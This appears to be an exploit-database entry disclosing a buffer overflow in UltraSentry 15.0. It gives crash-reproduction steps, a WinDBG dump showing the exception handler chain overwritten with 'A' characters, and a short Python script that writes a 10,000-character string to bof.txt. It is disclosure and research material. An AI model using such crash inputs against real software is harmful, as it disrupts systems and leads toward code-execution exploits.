UltraSentry - Buffer Overflow Vulnerability
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Title Exploit : UltraSentry - Buffer Overflow Vulnerability
Date : 19/09/2015
Author : ZwX
Software Vendor : http://www.ultraedit.com/
Software Link: http://www.ultraedit.com/downloads/ultrasentry.html
Version: 15.0
Tested on: Windows 7
site : http://zwx.fr/
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Steps to Produce the Crash :
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1. Copy the AAAA...string from bof.txt to clipboard
2. Run UltraSentry.exe
3. Go Menu -> File -> Peferences -> Protection -> Lock and Encrypt"
4. Paste it the input AAAA....string and click Apply
5. Software will Crash
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Crash Analysis using WinDBG :
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(fa4.958): Access violation - code c0000005 (!!! second chance !!!)
eax=0012e2d0 ebx=00410041 ecx=00410041 edx=00000000 esi=0012e2d0 edi=00000000
eip=76eb71b4 esp=0012e26c ebp=0012e2bc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
ntdll!KiFastSystemCallRet:
76eb71b4 c3 ret
0:000> !exchain
0012ec9c: 00410041
Invalid exception stack at 00410041
0:000> d 0012ec9c
0012ec9c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012ecac 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012ecbc 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012eccc 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012ecdc 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012ecec 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012ecfc 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012ed0c 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
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Proof Of Concept :
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buffer = "A"*10000
file = open("bof.txt","w")
file.write(buffer)
file.close()
print "File Created"
print " Contact [email protected]"
# 0day.today [2018-02-18] #Data
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10 Oct 2015 00:00Current
6.8Medium risk
Vulners AI Score6.8